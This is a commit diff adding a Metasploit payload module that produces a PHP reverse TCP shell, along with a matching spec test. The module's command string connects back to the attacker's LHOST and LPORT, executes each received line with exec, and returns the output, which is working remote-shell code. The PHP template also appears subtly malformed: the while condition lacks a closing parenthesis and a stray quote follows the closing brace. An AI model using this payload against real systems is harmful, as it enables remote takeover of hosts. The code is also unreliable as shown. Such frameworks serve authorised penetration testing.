Add a reverse php shell without ssl

modules/payloads/singles/cmd/unix/reverse_php.rb

@@ -0,0 +1,62 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+  CachedSize = 238
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(
+      merge_info(
+        info,
+        'Name' => 'Unix Command Shell, Reverse TCP (via php)',
+        'Description' => 'Creates an interactive shell via php',
+        'Author' => 'Julien (jvoisin) Voisin',
+        'License' => BSD_LICENSE,
+        'Platform' => 'unix',
+        'Arch' => ARCH_CMD,
+        'Handler' => Msf::Handler::ReverseTcp,
+        'Session' => Msf::Sessions::CommandShell,
+        'PayloadType' => 'cmd',
+        'RequiredCmd' => 'php',
+        'Payload' => {
+          'Offsets' => {},
+          'Payload' => ''
+        }
+      )
+    )
+    register_advanced_options(
+      [
+        OptString.new('PHPPath', [true, 'The path to the PHP executable', 'php'])
+      ]
+    )
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate(_opts = {})
+    vprint_good(command_string)
+    return super + command_string
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    cmd = <<~PHP
+      while ($s=@fsockopen("#{datastore['LHOST']}:#{datastore['LPORT']}") {
+        while ($l=fgets($s)) {
+          exec($l, $o);
+          $o=implode("\n",$o) . "\n";
+          fputs($s,$o);
+        }
+      }"
+    PHP
+    cmd = "#{datastore['PHPPath']} -r '#{cmd}'&"
+  end
+end

spec/modules/payloads_spec.rb

@@ -1058,6 +1058,16 @@
                           reference_name: 'cmd/unix/reverse_php_ssl'
   end
 
+  context 'cmd/unix/reverse_php' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/cmd/unix/reverse_php'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'cmd/unix/reverse_php'
+  end
+
   context 'cmd/unix/reverse_python' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [